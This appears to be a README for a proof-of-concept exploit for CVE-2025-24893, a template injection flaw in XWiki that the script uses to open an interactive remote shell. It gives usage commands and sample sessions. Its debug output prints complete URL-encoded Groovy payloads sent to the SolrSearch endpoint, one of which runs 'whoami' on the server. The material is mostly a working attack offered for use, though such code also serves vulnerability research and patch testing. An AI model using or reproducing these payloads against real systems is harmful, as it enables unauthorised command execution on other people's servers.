y2f05p2w/cve-2025-24893Proof-of-concept exploit for CVE-2025-24893, an SSTI vulnerability in XWiki, providing an interactive shell for remote command execution.
This PoC first tests for the SSTI and if it works. It will go in loop and allows you to run commands remotly.
The exec and shell command do the same currently.
python3 poc.py <target>
python3 poc.py http://127.0.0.1:8080
[*] Targeting http://127.0.0.1:8080
[+] Target is vulnerable!
(xwiki-shell) > help
Documented commands (type help <topic>):
========================================
exec exit help shell
(xwiki-shell) > exec whoami
xwiki
The debug flag at the top of the script will show you the generated urls. It will create a debug.log file in which contains the raw response of the request.
python3 poc.py http://127.0.0.1:8080
[*] Targeting http://127.0.0.1:8080
[DEBUG] URL used: http://127.0.0.1:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22XWIKI_TEST_123%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[DEBUG] Response content-type: application/rss+xml;charset=utf-8
[+] Target is vulnerable!
(xwiki-shell) > help
Documented commands (type help <topic>):
========================================
exec exit help shell
(xwiki-shell) > exec whoami
[DEBUG] URL used: http://127.0.0.1:8080/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22whoami%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[DEBUG] Response content-type: application/rss+xml;charset=utf-8
xwiki